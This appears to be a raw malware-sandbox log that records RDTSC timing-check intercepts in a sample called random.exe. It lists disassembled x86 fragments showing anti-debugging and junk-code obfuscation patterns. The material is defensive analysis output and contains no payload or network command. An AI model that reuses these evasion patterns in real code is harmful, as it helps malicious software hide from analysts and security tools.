Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3446B5 second address: 3446BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 347262 second address: 347267 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 34BFF5 second address: 34C012 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417D1BB419h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 34C16A second address: 34C16F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 34C16F second address: 34C176 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351F95 second address: 351F9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351F9B second address: 351FA1 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351FA1 second address: 351FBD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F417CDB1D4Fh 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351FBD second address: 351FC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351FC1 second address: 351FDF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F417CDB1D55h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 351FDF second address: 351FF5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jno 00007F417D1BB406h 0x0000000a jmp 00007F417D1BB40Bh 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 352188 second address: 35218C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35218C second address: 352190 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3523EF second address: 3523F5 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3523F5 second address: 3523FA instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3523FA second address: 352423 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F417CDB1D4Eh 0x0000000e jmp 00007F417CDB1D52h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 352564 second address: 35258A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jo 00007F417D1BB425h 0x0000000b jmp 00007F417D1BB419h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3567FE second address: 35681C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Dh 0x00000007 push eax 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 jo 00007F417CDB1D46h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35BCC9 second address: 35BCDF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB412h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C0F9 second address: 35C114 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F417CDB1D52h 0x0000000c pushad 0x0000000d popad 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C385 second address: 35C391 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F417D1BB406h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C391 second address: 35C395 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C4BE second address: 35C4C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C4C4 second address: 35C4DA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F417CDB1D4Dh 0x0000000c push ecx 0x0000000d pop ecx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C7C6 second address: 35C7CD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35C7CD second address: 35C7D6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35CC64 second address: 35CC6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35CC6A second address: 35CC6E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 35CC6E second address: 35CC78 instructions: 0x00000000 rdtsc 0x00000002 jo 00007F417D1BB406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3628E4 second address: 36291F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 je 00007F417CDB1D51h 0x0000000b jmp 00007F417CDB1D4Bh 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007F417CDB1D59h 0x00000017 jmp 00007F417CDB1D4Ah 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36291F second address: 362929 instructions: 0x00000000 rdtsc 0x00000002 jne 00007F417D1BB406h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 362929 second address: 362936 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push esi 0x0000000b pop esi 0x0000000c pop eax 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 361818 second address: 361825 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jc 00007F417D1BB406h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 361C95 second address: 361C9B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 361C9B second address: 361CA4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push edi 0x00000008 pop edi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 361CA4 second address: 361CAA instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 362060 second address: 362066 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 362066 second address: 36207A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417CDB1D4Bh 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36207A second address: 36207E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36207E second address: 362082 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36235B second address: 362365 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F417D1BB406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 362619 second address: 36261D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36700E second address: 367016 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 367016 second address: 36701C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36701C second address: 367021 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 367021 second address: 367035 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 js 00007F417CDB1D46h 0x00000009 pushad 0x0000000a popad 0x0000000b pop ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e jng 00007F417CDB1D46h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 328ACB second address: 328ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pushad 0x00000004 popad 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c jno 00007F417D1BB406h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 328D52 second address: 328D57 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 328D57 second address: 328D5D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 328F8B second address: 328F91 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32918E second address: 329192 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32931C second address: 329320 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329596 second address: 32959A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 32959A second address: 329601 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop esi 0x00000007 push eax 0x00000008 jmp 00007F417CDB1D57h 0x0000000d nop 0x0000000e mov dword ptr [ebp+12449B6Ah], ecx 0x00000014 jbe 00007F417CDB1D4Ch 0x0000001a push 00000004h 0x0000001c push 00000000h 0x0000001e push esi 0x0000001f call 00007F417CDB1D48h 0x00000024 pop esi 0x00000025 mov dword ptr [esp+04h], esi 0x00000029 add dword ptr [esp+04h], 00000017h 0x00000031 inc esi 0x00000032 push esi 0x00000033 ret 0x00000034 pop esi 0x00000035 ret 0x00000036 mov edx, dword ptr [ebp+122D3332h] 0x0000003c nop 0x0000003d push eax 0x0000003e push edx 0x0000003f jmp 00007F417CDB1D4Bh 0x00000044 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329601 second address: 329629 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jo 00007F417D1BB406h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jno 00007F417D1BB412h 0x00000014 push eax 0x00000015 push edx 0x00000016 jnp 00007F417D1BB406h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329629 second address: 32962D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329B92 second address: 329BA5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F417D1BB40Fh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329D16 second address: 329D5F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push eax 0x00000007 pop eax 0x00000008 jmp 00007F417CDB1D55h 0x0000000d popad 0x0000000e popad 0x0000000f push eax 0x00000010 jmp 00007F417CDB1D57h 0x00000015 mov eax, dword ptr [esp+04h] 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007F417CDB1D4Ch 0x00000020 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329EAA second address: 329EB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329EB0 second address: 329F29 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b mov dword ptr [ebp+122D3012h], edi 0x00000011 jmp 00007F417CDB1D4Ch 0x00000016 lea eax, dword ptr [ebp+124867FEh] 0x0000001c push 00000000h 0x0000001e push ebp 0x0000001f call 00007F417CDB1D48h 0x00000024 pop ebp 0x00000025 mov dword ptr [esp+04h], ebp 0x00000029 add dword ptr [esp+04h], 00000019h 0x00000031 inc ebp 0x00000032 push ebp 0x00000033 ret 0x00000034 pop ebp 0x00000035 ret 0x00000036 mov dword ptr [ebp+12449D9Ah], ecx 0x0000003c sub dword ptr [ebp+122D342Bh], edi 0x00000042 nop 0x00000043 jmp 00007F417CDB1D59h 0x00000048 push eax 0x00000049 push eax 0x0000004a push edx 0x0000004b jns 00007F417CDB1D4Ch 0x00000051 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329F29 second address: 306269 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 js 00007F417D1BB406h 0x00000009 pop ecx 0x0000000a pop edx 0x0000000b pop eax 0x0000000c nop 0x0000000d push 00000000h 0x0000000f push ebx 0x00000010 call 00007F417D1BB408h 0x00000015 pop ebx 0x00000016 mov dword ptr [esp+04h], ebx 0x0000001a add dword ptr [esp+04h], 0000001Dh 0x00000022 inc ebx 0x00000023 push ebx 0x00000024 ret 0x00000025 pop ebx 0x00000026 ret 0x00000027 stc 0x00000028 call dword ptr [ebp+12450DABh] 0x0000002e push eax 0x0000002f push edx 0x00000030 jg 00007F417D1BB40Ah 0x00000036 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 366391 second address: 366397 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 366397 second address: 3663AB instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jns 00007F417D1BB406h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jns 00007F417D1BB406h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3663AB second address: 3663AF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 3663AF second address: 3663B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 329F25 second address: 329F29 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36C54F second address: 36C56F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 je 00007F417D1BB419h 0x0000000d jmp 00007F417D1BB40Dh 0x00000012 jl 00007F417D1BB406h 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36C56F second address: 36C579 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007F417CDB1D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36C579 second address: 36C593 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB40Ah 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jp 00007F417D1BB406h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36C593 second address: 36C5A4 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F417CDB1D4Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7BA second address: 36F7BE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7BE second address: 36F7C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7C2 second address: 36F7DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F417D1BB416h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7DE second address: 36F7E8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jg 00007F417CDB1D46h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7E8 second address: 36F7F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 36F7F2 second address: 36F7F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 376545 second address: 37654B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37654B second address: 37654F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37654F second address: 37655B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37655B second address: 376561 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 376561 second address: 37657E instructions: 0x00000000 rdtsc 0x00000002 je 00007F417D1BB406h 0x00000008 jmp 00007F417D1BB413h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 374D5D second address: 374D63 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 375028 second address: 375035 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F417D1BB406h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 375035 second address: 375051 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F417CDB1D54h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 375317 second address: 375323 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007F417D1BB406h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 375323 second address: 375330 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ecx 0x00000006 push eax 0x00000007 pop eax 0x00000008 pop ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b push edx 0x0000000c pop edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 375330 second address: 375334 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379931 second address: 379937 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379937 second address: 379947 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F417D1BB40Ah 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379947 second address: 379954 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jno 00007F417CDB1D46h 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379954 second address: 379961 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 popad 0x00000009 push eax 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379AE3 second address: 379AE8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379C49 second address: 379C4D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379C4D second address: 379C85 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F417CDB1D54h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jnc 00007F417CDB1D46h 0x00000012 jmp 00007F417CDB1D56h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 379F6A second address: 379F6E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37D894 second address: 37D898 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37D898 second address: 37D89C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37D89C second address: 37D8A6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DA0A second address: 37DA3C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007F417D1BB40Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jmp 00007F417D1BB40Ah 0x00000010 pushad 0x00000011 jg 00007F417D1BB406h 0x00000017 push eax 0x00000018 pop eax 0x00000019 push ecx 0x0000001a pop ecx 0x0000001b popad 0x0000001c jp 00007F417D1BB40Ch 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\random.exe	RDTSC instruction interceptor: First address: 37DA3C second address: 37DA51 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jng 00007F417CDB1D56h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f je 00007F417CDB1D46h 0x00000015 rdtsc
